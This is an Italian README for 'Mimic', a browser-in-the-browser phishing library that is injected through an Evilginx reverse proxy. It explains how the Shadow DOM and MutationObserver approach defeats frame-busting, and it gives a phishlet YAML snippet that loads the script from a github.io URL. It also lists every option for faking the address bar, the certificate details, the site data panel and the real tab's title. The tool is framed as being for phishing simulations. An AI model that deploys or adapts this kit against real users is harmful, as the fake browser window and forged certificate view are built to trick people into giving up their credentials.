
Frameless Browser‑in‑the‑Browser (BitB) - Nessun iframe, nessun problema di frame‑busting. Una libreria Shadow DOM / MutationObserver a script singolo per simulazioni di phishing realistiche, facilmente iniettabile tramite proxy inverso.
Frameless Browser‑in‑the‑Browser (BitB) - Nessun iframe, nessun problema di frame‑busting. Una libreria Shadow DOM / MutationObserver a script singolo per simulazioni di phishing realistiche, facilmente iniettabile tramite proxy inverso.
⚠️ Avvertenza: utilizza questo software solo in conformità alla legislazione vigente nel tuo paese. Un uso improprio di questo software può sollevare problemi legali ed etici che non sostengo e per i quali non posso essere ritenuto responsabile.
MalwareMonster e io abbiamo sviluppato una prova di concetto in questa direzione circa sette anni fa, chiamata FISHY. Il progetto ha dimostrato con successo il vettore BitB, sebbene l'usabilità fosse notevolmente limitata. mrd0x ha poi portato questo concetto alla più ampia attenzione della comunità di ricerca sulla sicurezza con il suo progetto BITB circa due anni dopo. Tuttavia, la forte dipendenza dagli iframe si è rivelata incompatibile con le moderne tecniche di frame-busting. Sebbene fosse possibile usare sostituzioni per riscrivere il JavaScript di frame-busting, questo approccio si è dimostrato tedioso e richiedeva continui aggiustamenti.
waelmas ha poi rilasciato frameless-bitb circa 2 anni dopo, introducendo un meccanismo particolarmente ingegnoso. Sostituendo l'iframe con uno Shadow DOM abbinato a un MutationObserver, ha di fatto riassegnato il contenuto di phishing in un div all'interno del documento principale. Fondamentalmente, questo contenuto rimaneva parte del DOM principale invece di risiedere in un frame isolato. Poiché la pagina di phishing era ancora il DOM principale, le routine di frame-busting non venivano mai invocate. Questo ha risolto l'ostacolo tecnico principale, ha rappresentato un passo avanti significativo e ha fornito una solida base concettuale per ulteriori perfezionamenti.
Con quell'innovazione, waelmas ci ha di fatto restituito il testimone. La sua implementazione prevedeva un'architettura più distribuita, che richiedeva l'installazione di servizi, la configurazione di Apache, file HTML, CSS e JavaScript separati, interfacce utente distinte e una selezione statica del sistema operativo (Windows o macOS) senza rilevamento dinamico del browser. Sebbene questi elementi fossero ragionevoli data la natura di prova di concetto, abbiamo riconosciuto che la logica principale di Shadow DOM e MutationObserver poteva essere isolata e iniettata direttamente nel nostro proxy inverso Evilginx tramite un singolo script. Questo ci ha permesso di produrre una libreria JavaScript leggera e senza dipendenze che mostra un finto browser realistico all'interno di qualsiasi pagina web senza iframe, preservando la tecnica di bypass creativo originariamente introdotta da waelmas.
Mimic crea un finto browser realistico sopra la pagina web corrente, completo di barra degli indirizzi, controlli della finestra, informazioni sul sito, dettagli del certificato, cookie e dati del sito, temi e stile specifico per sistema operativo.
Invece di caricare il sito web target all'interno di un iframe, Mimic prende il DOM effettivo del sito web e lo inietta direttamente nel viewport del finto browser.
Il finto browser stesso vive all'interno di uno Shadow DOM aperto, che isola i suoi stili dal sito web. Il sito web rimane nel light DOM e viene inserito nel finto browser tramite:
<slot name="mimic-content"></slot>
Se non viene fornito alcun content, Mimic acquisisce automaticamente la pagina corrente spostando il contenuto esistente del body in un wrapper interno. Preserva lo stile importante come lo sfondo, il colore del testo, i font, la dimensione del carattere e l'altezza della riga prima di iniettare il sito web nel finto browser.
Poiché il sito web viene spostato nel finto browser anziché incorporato in un altro contesto di navigazione, rimane la vera pagina di primo livello.
Ciò significa che i controlli tradizionali di framebusting basati su iframe come:
if (top !== self) {
top.location = self.location;
}
non si attivano, perché:
top === self
Il sito web continua a credere di essere la pagina di primo livello. Il suo JavaScript, gli eventi, lo storage, la navigazione e la logica applicativa esistenti continuano a funzionare normalmente mentre la pagina è visivamente contenuta nel finto browser.
Mimic ridimensiona inoltre automaticamente il sito web iniettato per adattarlo al viewport del finto browser. Lo scorrimento è gestito traslando il layer di contenuto, mentre i listener di resize e il MutationObserver rimisurano il contenuto mentre il sito web viene caricato o cambia.
Anche la scheda del browser reale può essere controllata usando documentTitle e documentFavicon. Mimic monitora entrambi i valori e li ripristina se il sito web tenta di modificarli.
Mimic è un incapsulamento visivo, non una sandbox JavaScript. Il sito web iniettato mantiene l'accesso alle API reali di
window,document, storage, history e navigazione.
Aggiungi questo al tuo phishlet YAML per iniettare Mimic:
script: |
// Inject the BitB script
(function () {
window.addEventListener('load', () => {
var s = document.createElement('script');
s.src = 'https://0x4meliorate.github.io/Mimic/mimic.js';
s.onload = function () {
openBrowserWindow({ debug: false });
};
document.body.appendChild(s);
});
})();
Le opzioni di configurazione possono essere modificate direttamente nella CONFIG di mimic.js, oppure passate come argomenti quando viene invocata la funzione (openBrowserWindow):
openBrowserWindow({
// Displayed URL
domain: 'example.com',
addressText: '/login',
scheme: 'https://',
// Fake browser
pageTitle: 'Example - Sign in',
favicon: 'https://example.com/favicon.ico',
// Real browser tab
documentTitle: 'Example App',
documentFavicon: 'https://example.com/app.ico',
// Content
// HTMLElement, CSS selector, HTML string, or function
// Leave empty to capture the current website automatically
content: '',
contentWidth: 0,
// Fake browser size
windowWidth: 'min(800px, 95vw)',
windowHeight: 'min(650px, 90vh)',
// Browser-style links
learnMoreUrl: 'https://example.com/security',
siteSettingsUrl: 'https://example.com/settings',
// Cookie summary
cookies: {
sitesAllowed: '5 sites allowed'
},
// Behaviour
autoOpen: false,
os: null, // null (auto) | 'mac' | 'windows' | 'linux'
theme: 'auto', // 'auto' | 'light' | 'dark'
debug: false,
onClose: null,
// Landing page
landing: true, // true | false | custom HTML string
enterSelector: '#landingpage-enter-btn',
// On-device site data
siteData: {
intro: 'Sites may save activity to your device.',
manageLinkText: 'Manage site data',
manageUrl: '',
sections: [
{
title: "Data from the site that you're visiting",
description: 'Information stored by this site.',
sites: [
{ name: 'example.com' },
{
name: 'cdn.example.com',
subtitle: 'Additional site information'
}
]
}
]
},
// Certificate viewer
certificate: {
subject: {
commonName: 'example.com',
organisation: 'Example Corporation',
organisationalUnit: '<Not part of certificate>'
},
issuer: {
commonName: 'Example TLS CA',
organisation: 'Example Certificate Authority',
organisationalUnit: '<Not part of certificate>'
},
validity: {
issuedOn: '10 August 2026',
expiresOn: '18 November 2026'
},
fingerprints: {
certificate: '...',
publicKey: '...'
},
hierarchy: {
name: 'Example Root CA',
children: [
{
name: 'Example Intermediate CA'
}
]
},
fields: {
name: 'example.com',
children: [
{
name: 'Certificate',
children: [
{ name: 'Version', value: 'V3' },
{ name: 'Serial Number', value: '...' },
{ name: 'Subject', value: 'CN = example.com' }
]
}
]
}
}
});
Acquisisci e inietta il sito web corrente:
openBrowserWindow();
Apri senza la landing page:
openBrowserWindow({
landing: false
});
Apri automaticamente la finestra del finto browser:
openBrowserWindow({
autoOpen: true
});
Abilita il debug (commutazione di OS e tema):
openBrowserWindow({
debug: true
});
Sovrascrivi manualmente l'aspetto:
openBrowserWindow({
os: 'windows',
theme: 'dark'
});
Imposta il contenuto della finestra del finto browser (Elemento, selettore, stringa HTML o funzione da iniettare nel finto browser):
openBrowserWindow({
content: '#page-content'
});
| Option | Description |
|---|
domain | Dominio mostrato nella barra degli indirizzi del finto browser |
addressText | Percorso e query mostrati dopo il dominio |
scheme | Schema URL visualizzato |
pageTitle | Titolo della finestra del finto browser |
favicon | Favicon del finto browser |
documentTitle | Titolo della scheda del browser reale |
documentFavicon | Favicon della scheda del browser reale |
content | Elemento, selettore, stringa HTML o funzione da iniettare nel finto browser |
contentWidth | Larghezza di base usata per ridimensionare il sito web iniettato |
windowWidth | Larghezza del finto browser |
windowHeight | Altezza del finto browser |
learnMoreUrl | Destinazione del link Learn More sulla sicurezza |
siteSettingsUrl | Destinazione per le impostazioni del sito |
cookies | Configurazione del riepilogo dei cookie |
autoOpen | Apre automaticamente il finto browser quando viene creata la landing page |
os | null, mac, windows o linux; null usa il rilevamento automatico |
theme | auto, light o dark |
debug | Mostra il selettore di OS e tema |
onClose | Funzione chiamata quando il finto browser viene chiuso |
landing | Abilita, disabilita o sostituisce la landing page |
enterSelector | Selettore per l'elemento della landing page che apre il finto browser |
siteData | Configura la finestra di dialogo dei dati del sito sul dispositivo |
certificate | Configura il visualizzatore di certificati |